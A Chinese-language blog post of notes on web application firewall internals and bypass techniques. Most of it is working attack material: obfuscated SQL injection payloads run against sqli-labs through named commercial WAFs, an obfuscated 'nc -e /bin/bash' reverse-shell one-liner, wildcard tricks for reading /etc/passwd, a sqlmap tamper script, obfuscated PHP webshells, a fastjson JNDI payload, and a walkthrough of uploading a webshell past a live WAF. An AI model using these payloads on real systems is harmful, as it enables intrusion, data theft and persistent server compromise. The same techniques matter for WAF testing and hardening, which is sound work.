apsry

去留无意,宠辱不惊

0%

waf原理以及绕过笔记

waf原理以及绕过笔记

waf原理

都是总结了别人的东西0.0

Waf = Web Application Firewall ,web应用防火墙,简单来说就是在http协议层面对我们的数据包进行检测,如果发现了可能是带有攻击性的语句,就会进行拦截。

图片

为了不让waf发现我们的意图,我们通常可以利用以下几种方式绕过waf检测。

一些思维导图

图片

基于waf规则绕过原理

对抗规则绕过

原理:匹配不到恶意语句就不会拦截。

对关键字进行不同编码

1
2
3
4
select * from zzz = select * from  %257a%257a%257a  //url编码
单引号 = %u0027、%u02b9、%u02bc // Unicode编码
adminuser = 0x61646D696E75736572 // 部分十六进制编码
空格 = %20 %09 %0a %0b %0c %0d %a0 //各类编码

对关键字进行大小写变换

1
Union select = uNIoN sELecT

通过其他语义相同的关键字替换

1
2
3
4
5
6
7
8
9
10
11
12
13
And = &&
Or = ||
等于 = like 或综合<与>判断
if(a,b,c) = case when(A) then B else C end
substr(str,1,1) = substr (str) from 1 for 1
limit 1,1 = limit 1 offset 1
Union select 1,2 = union select * from ((select 1)A join (select 2)B;
hex()、bin() = ascii()
sleep() = benchmark()
concat_ws() = group_concat()
mid()、substr() = substring()
@@user = user()
@@datadir = datadir()

除了通过编码等价替换等方式绕过检测,我们还能配合目标特性实现绕过检测。

配合Windows特性

1
whoami = ((((Wh^o^am""i))))      //利用符号分割字符执行whoami

图片

1
whoami = set a=net&&b=user&&call %a%%b%   //利用变量分割关键字执行whoami

图片

1
2
3
set a=123whoami456      // 为了方便演示这里设置一个变量
echo %a:~3,6% // 取出变量a的第3位开始共计6个字符
%a:~3,6% //执行取出的值,通过截取系统变量然后拼接可以绕过大部分检测

图片

配合Linux特性

1
whoami = w'h'o'a'm"i"  //单引号或双引号连接符,需要闭合

图片

1
2
Cat /etc/passwd = cat /?t*/??ss**  //?,*通配符 
whoami = /b[12312i]n/w[23sh]oa[2msh]i //[] 通配符,匹配【】中的字符

图片

1
Whoami = a=who&&b=ami&&$a$b     //当然linux下也可以变量拼接

图片

1
cat /../../etc/passwd =cd ..&&cd ..&&cd etc&&cat passwd  //目录穿越, /被拦截

图片

Shell反弹也可以配合特性使用。

1
nc -e /bin/bash 127.0.0.1 1234 =/??n/?c -e /??n/b??h 2130706433 1234 //127.0.0.12130706433

配合Mysql特性

/**/数据库注释符,中间部分被注释,可用于截断关键字,干扰waf匹配。

1
2
User() = user/**/()   //  注释符/**/也可以用于替换空格
Union select = /*95554*/Union/*test123*/select

/!/内敛注释,中间部分继续执行,mysql特有

1
2
User() = /*!user/*123*/()*/   //  /*!*/内部继续执行
Union select = /*!union*//*123*//*!select*/ //组合

%0a换行与#单行注释符配合使用。

1
Union select = union#A%0aselect //用#注释,再用%0a逃出注释继续执行后面语句

配合过滤代码或漏洞本身

关键字被过滤,双写关键字。

1
and = anandd      //将关键字过滤掉后剩下的内容组成新的关键字

通过chr()函数变换关键字。

1
phpinfo() = chr (80).chr (72).chr (80).chr (73).chr (78).chr (70).chr (79).chr (40).chr (41)   //将acsii码通过chr()函数转换回来

通过base_convert() 函数变换关键字。

1
phpinfo = base_convert(27440799224,10,32)  //从10进制转换成32进制

http协议绕过

原理:理解不了恶意语句就不会拦截。

Content-Type绕过

有的waf 识别到Content-Type类型为multipart/form-data后,会将它认为是文件上传请求,从而不检测其他种类攻击只检测文件上传,导致被绕过。

1
application/x-www-form-urlencoded è multipart/form-data

HTTP请求方式绕过

waf在对危险字符进行检测的时候,分别为post请求和get请求设定了不同的匹配规则,请求被拦截,变换请求方式有几率能绕过检测。

Ps:云锁/安全狗安装后默认状态对post请求检测力度较小,可通过变换请求方式绕过。

参数污染绕过

由于http协议允许同名参数的存在,同时waf的处理机制对同名参数的处理方式不同,造成“参数污染”。不同的服务器搭配会对传递的参数解析出不同的值。配合waf与中间件对参数解析位置不同,可能绕过waf。

1
2
3
4
提交的参数为:?id=1&id=2&id=exp
asp.net+iis:id=1,2,exp
asp+iis:id=1,2,exp
php+apache:id=exp

部分中间件的处理方法:

Web 环境 参数获取函数 获取到的参数
PHP/Apache $_GET(“par”) last
JSP/Tomcat Request.getParameter(“par”) first
Perl(CGI)/Apache Param(“par”) first
Python/Apache getvalue(“par”) [“first”,”last”]
ASP.NET/IIS Request.QueryString(“par”) first,last

解析特性绕过

原理:利用waf与后端服务器的解析不一致。

Iis5.0-6.0解析漏洞

1
2
.asp --> /xx.asp/xx.jpg  //.asp.asa目录下的文件都解析成asp文件
.asp --> xx.asp;.jpg //服务器默认不解析;号后面的内容

Iis7.5解析漏洞(php.ini开启fix_pathinfo)

1
.php --> /xx.jpg         //上传.jpg一句话,访问时后面加上/xx.php 

apache解析漏洞

1
.php --> /test.php.php123     //从右往左,能别的后缀开始解析

nginx解析漏洞(php.ini开启fix_pathinfo)

1
.php --> xxx.jpg%00.php      //Nginx <8.03 空字节代码执行漏洞

多Content-Disposition绕过

请求包中包含多个Content-Disposition时,中间件与waf取值不同。

图片

解析兼容性绕过

在http协议中,标准的文件名的形式为filename=”1.php”,但是web容器会在解析协议时做一些兼容,文件上传时,有的waf只按照标准协议去解析,解析不到文件名,从而被绕过。

1
filename="test.php  filename=test.php  filename=‘test.php‘

keep-alive(Pipeline)绕过

原理:http请求头部中有Connection这个字段,建立的tcp连接会根据此字段的值来判断是否断开,我们可以手动将此值置为keep-alive,然后在http请求报文中构造多个请求,将恶意代码隐藏在第n个请求中,从而绕过waf。

图片

发送两个请求,但绕过失败,被云锁拦截,此种方法现在基本失效。

图片

分块传输绕过

原理:分块编码传输将关键字and,or,select ,union等关键字拆开编码,绕过waf等安全设备的检测,但无法绕过代码本身的检测。

图片

修改编码方式:Charset绕过

原理:大部分的WAF默认用UTF8编码检测,修改编码方式可能会绕过waf,例如设置charset为ibm037。

图片

HTTP协议未覆盖

Content-type: multipart/form-date 为什么存在?是为了满足能够既传参数又能传文件的场景;

①利用 Content-type: multipart/form-date 绕过上传的边界(boundary)限制。

通过多boundary定义,使waf检测范围和实际上传范围不一致,从而绕过waf上传恶意内容:图片

②上传参数“file”,绕过waf检测“filename”

Chunked+协议未覆盖

利用 Content-type: multipart/form-date + Chunked编码绕过WAF检测限制。

Waf检测限制绕过

原理:超出waf检测能力部分不会拦截。

高并发

使用自动化工具短时间内发送大量攻击数据包。

缺点:动静太大,容易被业务察觉并封禁;

图片

参数溢出

原理:通过增加传递得参数数量,达到waf检测上限,超出的参数就可绕过waf了。可绕一些轻量级waf,如phpstudy自带waf。

设置拦截关键字:

图片

添加参数数量,成功绕过。

图片

缓冲区溢出

原理:当服务器可以处理的数据量大于waf时,这种情况可以通过发送大量的垃圾数据将 WAF 溢出,从而绕过waf。

1
2
UnIoN SeLeCT = and (select 1)=(Select 0xA*99999) UnIoN SeLeCT  
and 1=1 = and 1=1 and 9999999 //此处省略N多个9

网络结构绕过

原理:不经过安全设备就不会拦截。

源ip绕过

原理:直接对源地址发起攻击,流量不会经过waf,从而成功绕过。

正常访问流量

图片

攻击者流量

图片

同网段/ssrf绕过

同理, 因同网段的流量属于局域网,可能不经过waf的检测。

图片

通过服务器A自身或B的ssrf漏洞,从网络内部发起攻击流量。

图片

一些waf绕过实例

安全狗

sql注入

用sql-lib演示

1
2
3
4
查库:select schema_name from information_schema.schemata
查表:select table_name from information_schema.tables where table_schema='security'
查字段:select column_name from information_schema.columns where table_name='users'
查字段的值:select username,password from security.users

万能符号:

1
2
3
union select --> union/*//--/*/select
union select 1,2,3-->union /*!--+/*%0aselect/*!1,2,*/ 3
%20/*//--/*/
order by

这边主要依赖%20/*//--/*/

拦截

http://192.168.1.102/sql/Less-1/?id=1' order by 1 --+ '

image-20220327115845529

http://192.168.1.102/sql/Less-1/?id=1' order /*//--/*/ by 1 --+ 成功

http://192.168.1.102/sql/Less-1/?id=1' order/*////*/by+3-- +

image-20220327120108096

也就是

执行了

image-20220327120925238

union select语句

http://192.168.1.102/sql/Less-1/?id=1' union /*//--/*/ select 1,2, 3 --+

image-20220327121041832

或者

http://192.168.1.102/sql/Less-1/?id=1' union /*//--/*/ /*!--+/*%0aselect/*!1,2,3*/ --+

image-20220327121127639

database()关键字

http://192.168.1.102/sql/Less-1/?id=-1' union /*//--/*/ /*!--+/*%0aselect/*!1,2,*/database /*//--/*/ () --+

?id=-1' union/*!90000zero*//*//*/select 1,user/*!90000zero*//*//*/(),database/*!90000zero*//*//*/()-- +

image-20220327121943984

获取其他的库

http://192.168.1.102/sql/Less-1/?id=-1' union /*//--/*/ select 1,2, group_concat(schema_name) /*!from*/ /*!--+/*%0ainformation_schema./*!schemata*/ --+

http://192.168.1.102/sql/Less-1/?id=-1' union /*!--+/*%0aselect/*!1,2,*/ group_concat(schema_name) /*!from*/ /*!--+/*%0ainformation_schema./*!schemata*/ --+

1
2
3
4
5
6
7
使用/*!schemata*/ 
版本执行
/*!06447#
from*/

union /*!--+/*
select/*!1,2,*/3

image-20220327122138498

其它步骤

http://192.168.1.102/sql/Less-1/?id=-1' union /*!--+/*%0aselect/*!1,2,*/ group_concat(table_name) /*!from*/ /*!--+/*%0ainformation_schema./*!tables*/ where table_schema='security' --+

http://192.168.1.102/sql/Less-1/?id=-1' union/*!90000zero*//*//*/select 1,user/*!90000zero*//*//*/(),group_concat(table_name) from --+/*%0ainformation_schema./*!tables*/ where table_schema=0x7365637572697479-- +

http://192.168.1.102/sql/Less-1/?id=-1' union /*!--+/*%0aselect/*!1,2,*/ group_concat(column_name) /*!from*/ /*!--+/*%0ainformation_schema./*!columns*/ where table_name='users' --+

http://192.168.1.102/sql/Less-1/?id=-1' union*/\*!90000zero\*/**/\*//\*/*select 1,user*/\*!90000zero\*/**/\*//\*/*(),group_concat(column_name) from *--+/\*%0ainformation_schema./\*!columns\*/ where table_name=0x7573657273-- +*

http://192.168.1.102/sql/Less-1/?id=-1' union /*!--+/*%0aselect/*!1,2,*/ group_concat(concat_ws(0x7e,username, password)) /*!from*/ security.users --+

http://192.168.1.102/sql/Less-1/?id=-1' union*/\*!90000zero\*/**/\*//\*/*select 1,2,group_concat(username,0x7e,password) from*/\*//\*/*security.users*-- +*

文件上传

重复数据(多次参数重复)

1.重复filename的值

图片

2.filename中配合配合Content-Disposition参数混淆

图片

图片

这个成功的原因应该还是安全狗之检测了第一个引号里的值,没有检测第二个导致的绕过。

数据溢出-防匹配(xxx…)

我们的思路是这样的,你安全狗不是要检测吗,给你塞一堆乱七八糟的的垃圾数据,加大工作量,你是不是就不会检测了。这里我们参考上面的,哪些参数可以动,哪些参数最好不用动,在可以改动的参数中加垃圾数据。

图片

这里成功上传,我这里是加了很多,加的少的话安全狗还是会检测到并拦截。

上传绕过-溢出

安全狗会对脚本文件的后缀和文件关键字进行正则处理并过滤有害请求。

也就是说想绕过安全狗需要达到两点

1、木马免杀
2、文件后缀绕过

木马免杀很简单,php的话花样比较多,简单混淆一下即可

如:

img

但是后缀名就比较难了。如果对方web容器不支持畸形解析,那么后缀名必须上传脚本文件才可以getshell,因此最终到服务器的文件后缀名必须为php。而安全狗最基础的过滤便是过滤php后缀,那怎么解决呢。我们便可以使用http头的 Content-Disposition: 字段溢出。

由于安全狗对于http头字段: Content-Disposition: 处理的不是很好, 当长度增加到48930的时候,安全狗的上传防御就失效了。结果如下图:

img

这也就是溢出的基本思想,也就是将字段增加到程序无法处理的长度,然后溢出的长度便可以执行自己构造的代码。

上传绕过-换行符

这个其实我是在测试360主机卫士的时候想回来试一试的,没想到也可以绕过…

具体怎么绕可以看一下下面的360上传绕过,这里就不多写了。

img

360主机卫士

虽然这款软件官网已经关闭,且不再更新,但是依然可以经常见到它的身影。

环境:
phpstudy
360主机卫士Apache 纪念版
win 2008 r2

代码没写,直接搬运的sqli-labs的源码

简单测试:payload:?id=-1 union select 1,2,3 –+

sql攻击触发了防御机制,本来应该转到 zhuji.360.cn页面,正常来说是一个警告页。但是由于该软件已经停运,所以出现白屏即是被阻断。特征便是向zhuji.360.cn发出无回应的请求。

img

img

img

可见确确实实被防御了。

现在我们进行绕过

SQL注入绕过-网站后台白名单绕过

在360主机卫士客户端设置中存在默认网站后台白名单,如图:

img

利用PHP中的PATH_INFO问题,也就是将白名单关键字当作PATH_INFO 的模块绕过过滤 。

path_info 模式:http://www.xxx.com/index.php / 模块 / 方法:

随便挑选一个白名单加在后面,可成功bypass。

如 :index.php/admin?id=-1 union select 1,2,3 –+

这里虽然路径有admin,但是这个admin会被当作是index.php的模块,最终访问的依然是index.php.

img

SQL注入绕过-静态资源绕过

当文件后缀名为js、jpg、png等静态资源后缀请求,类似白名单机制,该waf为了检测效率,直接略过这样一些静态资源文件名后缀的请求。

payload:index.php/1.png?id=-1 union select 1,2,3 –+

img

SQL注入绕过-溢出

由于GET方式的请求是有长度限制的(这个限制不是HTTP协议限制的,而是不同的浏览器限制的,比如ie浏览器长度就限制为 2083 字节 ),所以waf几乎都会对检测长度全覆盖,但是由于POST包长度不受限制(这里其实也有限制,是web容器对其的限制,比如Tomcat 默认是2MB ),所以相比GET,部分waf为了提高数据吞吐量和处理速度,对POST的数据过滤往往达不到全覆盖,当Post大包时,WAF在处理测试向量时超出了其缓冲区长度,超过检测内容长度将会直接Bypass,如果正常用户上传一些比较大的文件,WAF每个都检测的话,性能就会被耗光。所以可以使用溢出进行绕过。

payload:id=-1 and (select 1)=(Select 0xAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA) union select 1,2,3 – +

也可以使用内联加入无效字符进行绕过,比如

id=-1 /AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/ union select 1,2,3 – +

img

SQL注入绕过-参数溢出

这种溢出的形式,我称它为uri参数溢出。比如某WAF,默认情况下只能获取前100个参数进行检测,当提交第101个参数时,那么,将无法对攻击者提交的第100个以后的参数进行有效安全检测,从而绕过安全防御。

经测试,当提交的参数个数超过97个,可进行union select 查询,再增加对关键字from的绕过,可成功Bypass。

payload:id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1& id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1& id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1& id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1& id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1& id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1& id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1& id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=-1 union select 1,2,schema_name %0a/!from/ information_schema.SCHEMATA

img

SQL注入绕过-GET+POST

这算得上是一个年代久远的逻辑漏洞了,那就是当同时存在GET和POST请求时,会进入POST逻辑,从而忽略对GET请求的过滤。

payload:

?id=1 union select 1,2,schema_name from information_schema.SCHEMATA

POST:id=1

img

SQL注入绕过- %0a+内联注释

这种绕过方法虽然只对mysql生效,但是在这么多绕过方法中,内联注释+扰乱是最好的一种。

除了seletc from 需要使用%0a,其他的关键字随便绕

如payload:?id=-1 union%0a/!12345select/ 1,2,schema_name%0a/!12345from/information_schema.SCHEMATA

img

SQL注入绕过-编码绕过

客户端对Payload进行编码,服务端能够自动进行解码,这时候就考验WAF的编码解码能力了,如果WAF不能进行有效解码还原攻击向量,可能导致绕过,常见编码如URL编码、unicode编码(IIS)、宽字节编码等。

这个地方虽然URL编码也能绕过获取数据,主要是因为WAF对POST的防御规则太过于松散,union select 随便绕,select from 用%0a就可以解决,主要分享一下编码绕过的思路。

id=-1 %55nion %53elect/!1,2,schema_name %0aFROM information_schema.SCHEMATA/

img

SQL注入绕过-分块传输

这个上面已经讲过了,对付360居然废了,如果直接输入payload然后分块后会被拦截,且包括增加注释都没用…

上传绕过-溢出

同样Content-Disposition: 字段溢出依然适用,不知道这些软waf是不是一个模子出来的…

360会对文件后缀进行waf,脚本文件显然都在黑名单中。

比如php

img

我们再测试一下它会不会对文件内容进行检测,我们搬出一个最容易被杀的小马,把文件名后缀改为jpg。

img

img

img

没想到上传成功了,这也就意味着如果服务器存在畸形解析是可以被利用的。当然我的服务器没有,也就无法利用。

那么我们只需对后缀名进行绕过即可。

我们输入足够数量的字符将 Content-Disposition: 字段溢出。

img

img

成功上传。

上传绕过-换行符

这种绕过方法依然是针对 Content-Disposition: 字段,利用方法为:在from-data前加回车。这样就可以绕过对文件名的过滤。

img

img

还有一点是经过测试出来的结果,就是不仅仅在from-data前加回车可以绕过,在name=之后加回车同样可以

img

img

那么,在filename=后加回车可以吗,答案是依旧可以,那我又尝试在参数内用换行符分离,果不其然还是可以。所以结论为: Content-Disposition: 字段 的每个参数值前或者参数内加回车都可以绕过360的后缀名过滤。

比如我可以这样:

img

img

又或者是这样:

img

img

云锁

SQL注入绕过-内联注释

GET方式下,内联注释内加入数字符号字母依旧可以绕过云锁。

payload:id=-1 /!800000aaa/union /!800000aaa/ select /!800000aaa/ 1, /!800000aaa/ user /!800000aaa/ (),3

img

但是

云锁还有一个扯淡的点在于它对select from关键字过滤的十分严格,但是依然有突破点,毕竟内联可以用,那就代表还有希望。

构造语句为:http://192.168.150.139/sqli/Less-1/?id=-8189' UNION /!11444all/ /!11444select 1,2,(/!11444select group_concat(schema_name) from information_schema.schemata) */ – asdf

使用/!/将select from 语句包裹起来,便可绕过云锁。至于具体怎么绕过的,后面我会开一篇文章讲解。

img

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
# -*- coding: utf-8 -*-



"""
Copyright (c) 2006-2019 sqlmap developers (http:%23 %26%23 %26sqlmap.org%23 %26)
See the file 'LICENSE' for copying permission
Author:pureqh.top
"""

import re
import os

from lib.core.data import kb
from lib.core.enums import PRIORITY
from lib.core.common import singleTimeWarnMessage
from lib.core.enums import DBMS
__priority__ = PRIORITY.LOW

def dependencies():
singleTimeWarnMessage("Bypass yunsuo_number by pureqh'%s' only %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL))

def tamper(payload, **kwargs):

payload=payload.replace(" "," ",1)
payload=payload.replace(" AND"," REGEXP "[...%23 %26*]" and",1)
payload=re.sub(r'(ORDER BY \d+)', "x", payload)
payload=payload.replace("UNION"," REGEXP "[...%23 %26*]" union",1)
payload=payload.replace("(SELECT (CASE WHEN ("," REGEXP "[...%23 %26*]" (SELECT (CASE WHEN (",1)
payload=payload.replace(" AS "," REGEXP "[...%23 %26*]" as ",1)
payload=payload.replace(" OR "," REGEXP "[...%23 %26*]" or ",1)
payload=payload.replace(" WHERE "," REGEXP "[...%23 %26*]" where ",1)
payload=payload.replace("HIGH_RISK_OPERATION:0"," REGEXP "[...%23 %26*]" ",1)
payload=payload.replace(";","; REGEXP "[...%23 %26*]" HTGH",1)
payload=payload.replace("||","; || REGEXP "[...%23 %26*]" ",1)
payload=payload.replace("THEN"," THEN REGEXP "[...%23 %26*]" ",1)
payload=payload.replace(" IN"," REGEXP "[...%23 %26*]" IN ",1)
#payload=payload.replace("-"," REGEXP "[...%23 %26*]" - ",1)
payload=payload.replace("+"," REGEXP "[...%23 %26*]" + ",1)
payload=payload.replace("WHEN"," REGEXP "[...%23 %26*]" ",1)
return payload

D盾webshell

https://pureqh.top/?p=5391

宝塔webshell

https://pureqh.top/?p=5349

一些bypass总结

fastjson bypass 某WAF

demo

1
{{"@type":"java.net.URL","val":"http://.dnslog.cn"}:0

image

bypass

1
{"@type":\b"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:9999","autoCommit":true}}

宝塔防火墙 Bypass

  • 传参方式 $_COOKIE
  • 编码绕过流量检测

3重 base64 失败(似乎检测了关键字‘base64’) image

3重 url编码 成功

image

demo1:

1
2
3
<?php
$p=$_COOKIE;(count($p)==23&&in_array(gettype($p).count($p),$p))?(($p[59]=$p[59].$p[72])&&($p[91]=$p[59]($p[91]))&&($p=$p[91]($p[90],$p[59]($p[31])))&&$p()):$p;
?>

demo2:

1
2
3
4
5
6
<?php
$poc ="axsxsxexrxt";
$poc_1 = explode("x", $poc);
$poc_2 = $poc_1[0] . $poc_1[1] . $poc_1[2] . $poc_1[3]. $poc_1[4]. $poc_1[5];
$poc_2(urldecode(urldecode(urldecode($_REQUEST[x]))));
?>

一些中间件的bypass

常规绕WAF思路

1、错误的HTTP请求头

类似文件上传时的绕过,通过畸形的HTTP协议头绕过WAF检测。比如绕过某些老版本WAF可以加入请求头:Content-Encoding:deflate就可以绕过WAF(此方法在文件上传绕过WAF中也适用)

2、通用的JAVA类关键字绕过

将关键字转换成Unicode或者HEX编码的方式,JAVA程序会自动进行解码,所以在一定程度上能够绕过WAF

3、使用未公开的漏洞利用链

部分WAF会将公开的漏洞利用链中的关键字设置为黑名单,所以重新找一条利用链吧,自己的才是最香的

Struts2过WAF

1、三种快速判断struts2的方法

(1)通过后缀判断
通过后缀判断struts2是最快速和最常见的方法,但是这种方法不太准确,有些程序员会自定义页面后缀。一般struts2页面常用后缀为.do和.action。但是也有另一种比较特殊的情况,比如:userManager!list.action类似这种带!的形式很有可能是Struts2框架

(2)通过页面回显的错误消息来判断,页面不回显错误消息时则无效
如原始的目标地址是http://www.struts2-vuln.com,则检测所用的地址是http://www.struts2-vuln.com/?actionErrors=1111111,如果返回的页面出现异常,则可以认定为目标是基于Struts2框架构建的。异常情况包括页面直接出现404、500等错误,页面上输出了与业务有关错误消息,或者1111111被回显到页面上了,页面的内容结构发生了明显的改变,页面发生的重定向。(该方法目前在测试时基本未成功过,仅当作知识点留存

(3)判断 /struts/webconsole.html 是否存在来进行判断,需要 devMode 为 true
[img](https://cdn.nlark.com/yuque/0/2021/png/411367/1637484443630-48d128ba-d056-4ce9-8a76-3e8bbd19fbc8.png#clientId=u12f63578-60ea-4&crop=0&crop=0&crop=1&crop=1&from=paste&id=ud3fb5681&margin=[object Object]&name=image.png&originHeight=1182&originWidth=2406&originalType=url&ratio=1&rotation=0&showTitle=false&size=82743&status=done&style=none&taskId=u2fe26581-8b2e-464f-afd2-44466eaa766&title=)

2、Struts2中的$和%

在Struts2中,%和$作用一致,可以相互替换,当WAF拦截了%时可以试试用$替换,反之亦然

3、如何绕过waf

这里我们以s2-016和s2-045为例,演示如何绕过waf,实验环境如下:
[img](https://cdn.nlark.com/yuque/0/2021/png/411367/1637484678670-9a000f8e-deb7-48c1-ab2d-ac774733384a.png#clientId=u12f63578-60ea-4&crop=0&crop=0&crop=1&crop=1&from=paste&height=295&id=ub0bbe0fd&margin=[object Object]&name=image.png&originHeight=884&originWidth=2298&originalType=binary&ratio=1&rotation=0&showTitle=false&size=174035&status=done&style=none&taskId=uc112adc8-0e14-4e4b-8683-60aba1c1e18&title=&width=766)
我们先用工具跑一下
img
这个时候工具就不管用了,什么都没有发现,还是我们手输poc比较靠谱一些,先试一下最基本的s2-016的验证poc
img
左下角提示waitting,说明Poc被WAF拦截掉了,我们试一下绕过
针对s2-016的绕过,我们只需要双写大括号就可以
img
这里Poc就成功执行了11*11,返回包里也返回了121
我们在尝试一下同样用双写的方法绕过一下s2-045
img
GG了,看来这样绕不过去。
我们重新看一下s2-045的poc,这么长一大串,WAF最有可能使用哪种方式进行检测呢?poc里那么多关键字,很大几率是对关键字进行检测吧,那我们吧关键字拆分开试一下
img
可以了,用+拼接关键字,成功绕过了WAF对关键字的检测。不过不知道编码的方法可不可以

Weblogic过WAF

1、两种快速判断Weblogic的方法

(1)通过404页面判断
(2)通过X-powered-by头判断:servlet/2.4(版本) JSP/2.5(版本)

2、如何绕过waf

POC直接干它
img
直接wait了,说明被waf拦截掉了。后面是了好多方法都不行,最后大佬说用chunked编码可以绕过,试一下
[img](https://cdn.nlark.com/yuque/0/2021/png/411367/1637486777292-17fa9048-efe4-4003-b8d2-cfb70b068634.png#clientId=u5c042590-bc39-4&crop=0&crop=0&crop=1&crop=1&from=paste&id=ub4d514e9&margin=[object Object]&name=image.png&originHeight=1827&originWidth=2623&originalType=url&ratio=1&rotation=0&showTitle=false&size=414236&status=done&style=none&taskId=uc1fd6406-a1ab-4d5f-85fd-eb6cba4f3cd&title=)
这也不行啊,chunked编码手还是被拦截了。大佬有说好好看看http头部的内容。
对比于之前的包,chunked编码后,包头中多了Transfer-Encoding:chunked,这是用来说明使用了chunked编码的,难道waf还会识别这个,自动解码chunked吗???既然如此那我们就不让waf识别chunked编码
所以在Transfer-Encoding:chunked后加入任意内容,即可绕过WAF
img

一些思路文章

第一篇

后缀绕过

首先看一下waf咋工作的,当数据包匹配到waf规则后,数据包就会被丢弃掉,就像这样

img
waf是拦截后缀的,首先fuzz一波
换行

img
失败

多个等于号

img
失败

单双引号替换

img
失败
去掉引号

img

失败

溢出Content-Disposition字段

img
失败,而且不清楚是因为服务器性能原因还是规则有这个,当此字段太长的时候(具体多长不清楚),正常上传图片数据包也会被丢弃。

img
多个Content-Disposition字段

img
失败
畸形协议

img
失败
boundary前加减空格

img
失败,而且操作这边服务器会不识别上传,导致正常文件传不上去

img
删除Content-Type: image/jpeg

img
失败
溢出文件名

img
失败,而且这里也有限制,太长也会导致正常上传失效。
Accept-Encoding:
Accept-Encoding: gzip
Accept-Encoding: compress
Accept-Encoding: deflate
Accept-Encoding: br
Accept-Encoding: identity
Accept-Encoding: *
均失败

分块传输

img
失败 似乎waf拦截的就是 Transfer-Encoding: chunked ,但是去掉chunked会请求异常

等等等后面又试了一堆,均失败
柳暗花明
后面看了一眼服务器 是windows的,尝试用windows文件命名规范来绕过,

众所周知,win的文件名是不能包含以下字符的

img
但是上传的时候我们可以构造,尝试使用斜杠绕过

img
结果有点出乎意料,最后到服务器的居然是.jpg,正反斜杠都这样

换一个符号,尝试星号,被拦,都试了一遍后,发现只有冒号可以

img
访问一下看看是否存在www.php

img

文件确实传上去了,可是问题又来了,没写入内容…

后来才知道,冒号会将文件内容置空,一时间又没了头绪

姑且后缀名绕过了吧。

内容绕过

只传个0kb和不传不是一样吗,所以还是要把数据写进去,

怎么写呢?起初我是不知道的,旁边的好兄弟说三个左尖括号可以写入文件

类似这样

img

img
但是 也被waf加入规则了

……

天无绝人之路,三个不行 我用四个

没想到四个也能写 笑了 都不知道为什么

img

img

但是问题又来了 文件名咋整,www.php会被拦截,加个冒号又会将文件置空,似乎陷入了死循环,一顿瞎操作后,发现这样居然写进去了,虽然也不知道为什么,可能是什么奇奇怪怪的正则机制?

img

img

既然能写文件了,那我本来以为就简简单单了,没想到噩梦才是刚刚开始

首先我之前整的一堆花里胡哨的马一个都没过去,唯一一个能过去的,之前绕过的马还不能运行(这是个坑,后面会讲),虽然这个马在我本地是可以运行的,可能这就是玄学吧哈哈。

img

img

首先正常的变量他就过不去,然后<?php 标签和某些场景混合时也过不去,成对的括号它也拦截,总之就是变态

举个例子:

img
所以才有了上面那个奇怪的马

内容绕过也是在这个基础上去过去的,本来我准备直接传这个马梭哈,但是传是传上去了,执行不了,会一直等待,但是这个等待又不是被waf拦截了,后面才知道,这是因为php内容报错了,导致不能正常运行,就会一直卡在那里,

那为什么会报错呢,fuzz了一波后才发现,这个服务器上必须闭合尖括号,要不然就会直接炸,明明是同样的php版本,也不知道为什么会这样,只传递第一个标签没问题,

img

img
少个闭合就炸:

img
但是末尾的两个标签也不能去掉,是用来混淆的,去掉直接waf都过不去

场面陷入了胶着,此时将一个完整的马传上去似乎不太现实了,一步一步来吧,先尝试能不能执行命令

之前讲过,规则是不允许成对括号出现的,所以连phpinfo都执行不了

img

真的执行不了吗?

1
2
3
$a =<<< aa
assasssasssasssasssasssasssasssasssasssasssassss
aa;

这种赋值手法是php的一种特性,用于解决字符串中既有单引号又有双引号这种特殊情况,aa名称没意义,起什么都可以,在某些php版本中,末尾的aa后不能加其他语句,否则会报错。

img

因为会报错,所以waf不会拦截,所以在aa;后是可以添加php代码的

img
好巧不巧,这服务器可以执行

img
既然能执行phpinfo,那system()肯定也行

img
